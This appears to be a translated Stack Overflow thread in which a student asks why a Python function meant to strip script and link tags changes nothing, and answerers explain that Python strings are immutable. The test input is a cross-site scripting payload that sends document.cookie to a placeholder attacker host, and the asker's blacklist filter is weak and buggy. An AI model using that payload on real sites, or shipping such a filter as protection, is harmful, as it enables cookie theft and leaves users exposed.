2012-09-17 30 views
2

我想要替換字符串中的某些關鍵字。這裏是我的功能:爲什麼功能不起作用?嘗試替換字符串中的單詞

def clean_code(input): 
    input.replace('<script>', " ") 
    input.replace('</script>', " ") 
    input.replace('<a href>', " ") 
    input.replace('</a>', " ") 
    input.replace('>', "&gt;") 
    input.replace('>', "&lt;") 
    return input 

,這裏是我的其他代碼和字符串:

string1 = "This blog is STUPID! >\n" \ 
"<script>document.location='http://some_attacker/cookie.cgi?"\ 
" +document.cookie </script>" 


print '\nstring1 cleaned of code' 
print '------------------------' 
print clean_code(string1) 

我的輸出如下,我不知道爲什麼什麼都沒有改變

string1 cleaned of code 
------------------------ 
This blog is STUPID! > 
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script> 
+3

除了你看到的錯誤之外,即使是最基本的攻擊,這也是極其不足的防禦。該方法也不能很好地擴展。 – delnan

+0

@delnan它只是作業,它不應該做任何事情 – pearbear

+1

好的,那麼,只要你知道它,不要在實際上服務於任何請求的代碼中嘗試這樣的廢話。 – delnan

回答

8

Python字符串是不可變

input = input.replace('<script>', " ") 
input = ... 

replace documentation

返回字符串str與老串通過更換新出現的所有副本。

+1

Agh文檔鏈接我再次丟失 –

3

.replace不是就地突變

試試這個

def clean_code(input): 
    for tokens in [('<script>', " "),('</script>', " "),('<a href>', " "), 
       ('</a>', " "),('>', "&gt;"),('>', "&lt;")]: 
     input = input.replace(tokens[0], tokens[1]) 
    return input 
3

字符串在Python是不可改變的。 input.replace('</a>', " ")不會更改input。您需要將結果分配回input

但是真的,你應該使用一個解析器,如BeautifulSouplxml

+0

最近推薦使用lxml –

+1

@JakobBowyer:謝謝 - 更新。 –

1

String.replace返回替換結果的新字符串,但不會更改原始字符串。要做到這一點,你必須將返回值分配回變量,像這樣:

myString = myString.replace("foo", "bar") 

此外,input.replace('<a href>', " ")只會更換確切子「< A HREF >」。要刪除實際鏈接,請嘗試​​。

相關問題